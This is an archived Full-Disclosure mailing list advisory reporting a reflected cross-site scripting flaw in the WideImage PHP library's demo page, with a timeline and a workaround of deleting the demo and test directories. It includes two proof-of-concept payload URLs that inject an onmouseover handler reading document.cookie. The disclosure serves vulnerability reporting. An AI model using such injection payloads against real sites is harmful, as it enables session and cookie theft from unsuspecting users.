lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Mon, 6 Jul 2015 11:39:55 +0000
From: <sikkandar.lynx@...il.com>
To: "vuln@...unia.com" <vuln@...unia.com>, 
	"submit@...ec.org" <submit@...ec.org>, 
	"fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] WideImage Demo Code Cross Site Scripting (XSS)

WideImage Demo Code Cross Site Scripting (XSS)





Description:
WideImage is an object-oriented library for image manipulation. 
It requires PHP 5.2+ with GD2 extension. The library provides a simple way to loading, manipulating and saving images in the most common image formats.




Type of vulnerability: 
Reflected XSS




Threat level:
Medium




Tested on: 
Windows 8.1




Product: 
WideImage - An Open Source PHP library for image manipulation.




Version: 
11.02.19




Build date: 
2011-02-19




Live vulnerable URL during discovery:
http://wideimage.sourceforge.net/wp-content/current/demo/index.php




How to replicate this vulnerability:
Assuming WideImage is installed on http://localhost:8080/wideimage/, one can inject
JavaScript with:




Payload URL 1:
http://localhost:8080/wideimage/demo/?colors=255&demo=applyConvolution&dither=1&dither_cb=1&div=1&match_palette=1&match_palette_cb=1&matrix=2%25200%25200%252c%25200%2520-1%25200%252c%25200%25200%2520-1%22%20onmouseover%3dalert%28document.cookie%29%20bad%3d%22&offset=220&output=preset%20for%20demo




Payload URL 1:
http://localhost:8080/wideimage/demo/?colors=255&demo=applyConvolution&dither=1&dither_cb=1&div=1&match_palette=1&match_palette_cb=1&matrix=2%25200%25200%252c%25200%2520-1%25200%252c%25200%25200%2520-1%22%20onmouseover%3dprompt%666%29%20bad%3d%22&offset=220&output=preset%20for%20demo




Workaround/Fix:
To fix this, please remove the two following directories:
public_html/wideimage/demo
public_html/wideimage/test




Disclosure Time-line:
Notified vendor: July 04, 2015
Response from vendor: No response. 
Disclosure due to: Page here at http://wideimage.sourceforge.net/support/ says, "6. If it's bug. Report it."
Fix: Not fixed at this time (July 07, 2015)
WideImage Vendor Bug Ticket Reference: http://sourceforge.net/p/wideimage/bugs/42/




Credits and Copyright:
This vulnerability was discovered by Mohammad Sikkandar Sha.
It's licensed under the creative commons attribution license 4.0.




Mohammad Sikkandar Sha, 2015-July-07, Email: sikkandar.lynx@...il.com
Download attachment "Reflected XSS 2.JPG" of type "image/jpeg" (160027 bytes)

Download attachment "Reflected XSS 1.JPG" of type "image/jpeg" (158933 bytes)


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists